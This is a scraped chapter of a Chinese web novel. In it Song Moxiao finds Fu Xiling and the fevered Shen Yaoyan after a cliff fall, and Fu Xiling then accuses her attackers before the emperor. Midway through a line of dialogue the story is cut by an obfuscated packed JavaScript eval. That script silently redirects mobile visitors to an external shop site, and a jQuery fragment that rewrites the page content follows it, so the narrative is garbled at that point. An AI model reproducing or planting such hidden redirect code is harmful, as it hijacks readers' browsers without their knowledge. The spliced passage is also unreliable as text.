文趣网 > 都市小说 > 墨染柠霜 > 90. 找到
    宋墨潇眼尾泛红,血丝爬满眼白,面无表情地走在前面,顺着痕迹一路向前。

    为什么还没找到?为什么就差一点?

    周围属下前来汇报:“主子,东边找过,没有发现踪迹。”

    “继续找!无论如何活要见人,死……”宋墨潇声音轻得像叹息,“她不会死,给我继续找!”

    另一个属下上前:“主子,前面有发现,有……”

    属下话还没说完,宋墨潇便快步往前跑。

    “发现什么?”茶白问道。

    “有生火的痕迹。”属下挠挠头,“但不确定是不是傅姑娘他们用过的。”

    还是第一次见自家主子连话都没听完就急着跑去查看。

    宋墨潇看到是生火痕迹,皱起眉,蹲下看着灰烬。

    成惨白色与浅灰色细碎粉末,部分粉末被吹散,摸起来温度与地面一样,应是烧过几个时辰后完全冷透的状态。

    人大概没走多远。

    宋墨潇吩咐道:“继续找,去有水的地方找。”

    只要还活着,必定会去找有流水的地方。

    他在潘涂曾听苏梯池教过傅兮柠:“荒山野岭之中,火会燃尽,干粮会耗尽,唯有活水不绝。”

    人困于旷野,纵有残火余炭护身,若寻不到流水,便撑不了几日。寻到流水,才算握住一线活下去的希望。

    傅兮柠,你一定还活着。

    纵使世间山海纵横,沟壑万千,无论你在何处,我终究会找到你。

    宋墨潇心中笃定。

    天涯海角,生死两界,寻找的脚步,永不会停歇。

    天眼看着升起,傅兮柠被光晃得有些刺眼,睁开眼时便见沈耀言紧闭双眼,脸色很差。

    晚风吹过,初秋微凉,傅兮柠昏睡在沈耀言身旁,本是靠在同一个树干上,她不像往日那般鲜活聒噪,呼吸渐渐变得均匀绵长。

    先是发丝轻轻蹭过他的肩头,沈耀言察觉到后身体瞬间僵住,下一瞬,一具温热的身子便缓缓靠了过来,稳稳落于他的肩膀。

    下意识呼吸都骤然放轻,硬生生被他压成了极浅的起伏,生怕一丝过重,惊扰这片刻静谧。

    他垂着眼,视线落在自己肩头那颗脑袋上。

    她的脸方才被洗干净,却能看到细微的划痕,她的长发落在衣袖上,淡淡的桂花香钻进鼻尖,缠得人心尖发痒。

    这么多年,她依旧喜欢用花做香粉。

    她睡得很沉,眉眼舒展。

    沈耀言贪恋这一刻的亲近,却又清醒地克制着所有逾矩的心动。

    在这里,他可以不用再顾及规矩,不用顾及任何人,这一刻只有他与她。

    他藏了无数个日夜的情感,是只能深埋心底,不敢宣之于口的暗恋。

    傅兮柠不知,她是除以安以外,沈耀言的第一个朋友。

    所以他连心动都不敢明目张胆,连贪恋都只能小心翼翼。

    因为他不想失去这个朋友。

    指尖微微蜷缩在空中,想要拂开贴在她脸颊的碎发,却只能停留而后默默收回。

    就这样傅兮柠靠在他肩上昏睡了一夜直到天亮。

    当傅兮柠意识到自己有些越矩后,趁着人还没醒悄悄离开,却见沈耀言紧缩眉头。

    她察觉到不对后,手伸向他额头,烫手。

    “坏了,发热了。”傅兮柠小声念叨着。

    起身赶忙用手帕沾上水后给他擦拭:“沈耀言,你醒醒,别昏睡过去。”

    沈耀言缓缓睁眼,见傅兮柠看着自己,淡淡开口:“我没睡。”

    傅兮柠以为他是在回应方才的话,便说道:“好,醒着就好,你还能坚持吗?我们再往前走走看看有没有屋子,你坐在这只会感觉更冷。”

    沈耀言点头,头有些痛,最后只能还是傅兮柠扶着他走。

    傅兮柠带的药根本不能完全治本,必须尽快医治,莫要让伤口腐烂。

    不知走了过久,隐约听到有人的喊叫声。

    她知营帐处与悬崖附近位处高低,想要被人快速找到只能顺着河流逆流而上。

    沈耀言伤口的炎症2悄无声息地在身体里蔓延开来,起初只是患处灼痛,后来一阵阵寒意顺着骨头缝往外钻,额间的汗越来越多,体温一点点往上窜。

    他发着热,脑袋昏沉发涨,每一次呼吸都带着热意。

    傅兮柠大声喊叫,正准备扶着沈耀言上前,可沈耀言挪不动步,此刻双腿沉重,闹晕昏重,几乎整个人重量全堆在傅兮柠身上,傅兮柠感觉出他快晕倒,转身抱住他。

    沈耀言头搭在傅兮柠的肩上,双腿跪地,整个人软糯无力栽倒在她身上。

    傅兮柠慌乱地喊叫:“沈耀言!沈耀言!”

    “傅兮柠!”

    他一眼看见那个身影。

    宋墨潇的声音透过一片寂静传到了傅兮柠耳中。

    “救命啊!快来人啊!”傅兮柠带着哭嗓喊着,一边双手护着沈耀言,“沈耀言醒醒,别睡,千万别睡!”

    沈耀言身上高热,让傅兮柠皱眉。

    宋墨潇跑过来见到这一幕,先是一愣,傅兮柠与沈耀言面对面跪着,沈耀言头趴在傅兮柠肩上,双眼紧闭,眉头紧缩。

    傅兮柠看向宋墨潇,红着眼含着泪说道:“宋墨潇!快救他!”

    宋墨潇反应过来后,快步上前先将沈耀言的头从傅兮柠身上挪开,将两人分开后,看向跑来的茶白:“将沈公子送到太医那医治!快!”

    茶白等人将沈耀言背起,一行人护送着沈耀言离开。

    傅兮柠放心不下想要跟上去,掠过宋墨潇时,他拉住傅兮柠的胳膊,将傅兮柠抱在怀中。

    傅兮柠一愣。

    手臂猛地狠狠箍住她,力道大得近乎要将人嵌进自己骨血里。他胸膛剧烈起伏,呼吸粗重滚烫,下巴死死抵在她的肩窝,指节用力到泛白,胳膊越收越紧。

    “没事就好,活着就好。”宋墨潇说得很小声,一滴泪顺着脸颊掉落在地上。

    说话时隐约带着哭腔,傅兮柠听出来后,小声问道:“你在哭吗,宋墨潇?”

    一个大男人,人又没死,哭什么哭……

    傅兮柠心中默默说着。

    他埋在她颈侧,胸腔里溢出压抑又破碎的喘息,浑身绷得发颤,明明抱着人,骨子里却翻涌着深入骨髓的恐慌与偏执。

    生怕松手后,她就要消失一般。

    许久没有回复,傅兮柠被抱得有些喘不过气,挣扎着想要推开他,抱怨道:“喘不动气了。”

    宋墨潇缓缓放手,眼疾手快地将脸上的泪擦去,而后才彻底放开她。

    傅兮柠皱眉看他:“你是怎么找到我的?”

    这才一夜,就被找到,按理说这悬崖到小溪,他们没有地图才走到这,宋墨潇若是下山找绝不可能这么快。

    “我顺着悬崖下来的。”

    宋墨潇打量着她身上的衣服,有些破烂,露出了一些肌肤和伤痕,他将自己的披风解下,盖在她身上。

    傅兮柠皱眉,这也太疯了,要是一不留神,很可能会受伤,傅兮柠想到这问道:“你有没有受伤?”

    宋墨潇一听嘴角压不住,说道:“关心我?”

    傅兮柠懒得多说,准备往前走,却被宋墨潇一下子抱起来。

    “你干嘛?”傅兮柠一惊,胳膊紧紧环住他的脖子。

    “装得惨一点,等会回去便哭惨。”宋墨潇顿了顿,“一会有好戏等着你唱。”

    傅兮柠不屑地冷笑:“不要,这样显得我很幼稚。”

    ……

    “陛下可要为臣女讨个公道啊!”

    傅兮柠哭着坐在地上,宋墨潇蹲在一旁护着她,一脸正经地看着傅兮柠哭惨。

    “是她。”傅兮柠指着曲娇娇说道,“是她以远妃的名义,说江家小姐要见过,我这人卑微单纯,自是不敢得罪人,便随着这位姑娘去了,结果江家小姐找来两个猛汉,将我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882640|206500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    打晕,我醒来后,便只剩这位姑娘一人,她还拿匕首刺我。”

    边说着,边举起两只被包的掩饰的手,情况紧急,还没有细处理伤口,傅兮柠顶着沈耀言的腰带就给宋国富等人看。

    “就是她将我推下悬崖。”傅兮柠哭着,险些晕过去,宋墨潇一手扶住她,给她一个支撑点,傅兮柠故作扭捏地靠着他,用着哭腔说道,“我与江家小姐无冤无仇,她竟然想要害死我和沈小侯爷,若不是沈小侯爷出手相救,恐怕我早已……早已不在人世了。”

    严乐瑶和知夏在一旁抹眼泪,楚然却怎么也憋不出来眼泪,只能用手捂着脸,尽量不让自己笑出来。

    萨仁站出来说道,附和道:“沈小侯爷现在还昏迷不醒,需要待医官确认后才能诊治,这江家小姐和这位侍女真是好大的胆子,敢一下子对两人下手。”

    宋国富和龚英兰对视一眼,宋国富开口:“太傅之女与沈将军之子受到如此伤害,朕一定会给两家一个交代。”

    “唤远妃。”龚英兰开口。

    远妃被士兵带上前,远妃满脸泪痕,让宋国富先是一愣:“爱妃这是……”

    远妃哭着跑上前,跪在傅兮柠和宋墨潇身边,大喊道:“我的外甥遇害了!”

    宋国富和龚英兰并不知江暻遇害一事,远妃要死要活地说着:“我就这么一个外甥,这外甥女是妾没教育好,或许只是年纪小才做出如此莽撞之事,还请陛下为妾讨个公道!”

    宋墨潇皱眉淡淡开口:“江家小姐可比太傅之女还要年长一岁,若是以年纪小行事莽撞这种理由,就放过一个杀人诛心之人,当着漠北使臣的面,让外人怎么想我们德武的为人处事?”

    远妃没好气地瞪一眼宋墨潇,而后哭着说道:“可我外甥什么都没做,却被害……”

    “江家公子是被野兽所害。”宋奇威拿着仵作写的册子,走进营帐,递给似楚,“这是江家公子验伤结果,的确是被野兽所害致死而亡。”

    宋国富看过册子后皱眉,仵作标明的每一处伤口都很清晰,江暻尸身不全,下半身连着脊骨皆数被野兽咬断,失血过多而亡。

    远妃听后一愣。

    不是这样的。

    是她派人射箭将江暻射死才对,可为何没有箭伤?她察觉到什么,看向宋墨潇。

    宋墨潇面无表情地嘴角随意一勾,而后看着傅兮柠,将傅兮柠往自己怀中紧了紧。

    远妃手紧了紧,两滴珍珠大的眼泪流下:“陛下,我失去一个外甥,不能再失去一个外甥女啊,陛下……”

    宋国富有些为难。

    远妃不惜以死相逼也要保全江倩,她现在只剩江倩这么一颗棋子。

    最后宋国富说道:“行了,念在远妃求情又失去外甥的份上,朕便给江倩一个改过自新的机会,若她只要有一处不是,朕便不会再留她在宫中。”

    萨仁听后来气,想要阻止,却被莫日根拉住:“别插手。”

    萨仁憋着气,翻了个白眼。

    “好在太傅之女和沈将军之子没事。”宋国富顿了顿,“对了,沈家公子伤势如何了?”

    宋奇威说道:“不是很乐观,跟随的太医独自一人难以医治。”

    宋国富听后皱眉:“不是还有其他太医吗?”

    龚英兰解释道:“陛下有所不知,太后昨日头疼,不少太医随去诊治太后,一部分又去给受伤的游猎者致伤,只剩黎太医一人。”

    傅兮柠看向宋墨潇,她实在是放心不下沈耀言,便小声说道:“要不我去看看?”

    宋墨潇看着她,眼睛一转:“装晕。”

    傅兮柠听后,立马眼睛一闭,整个人倒在宋墨潇怀中。

    “傅兮柠!”宋墨潇故作紧张,看着宋国富等人说道,“父皇,许是傅姑娘伤口为清理昏过去,儿臣先送她去太医那医治。”

    宋国富和龚英兰见状,立马同声道:“快去。”

    众目睽睽之下,傅兮柠被宋墨潇抱出营帐。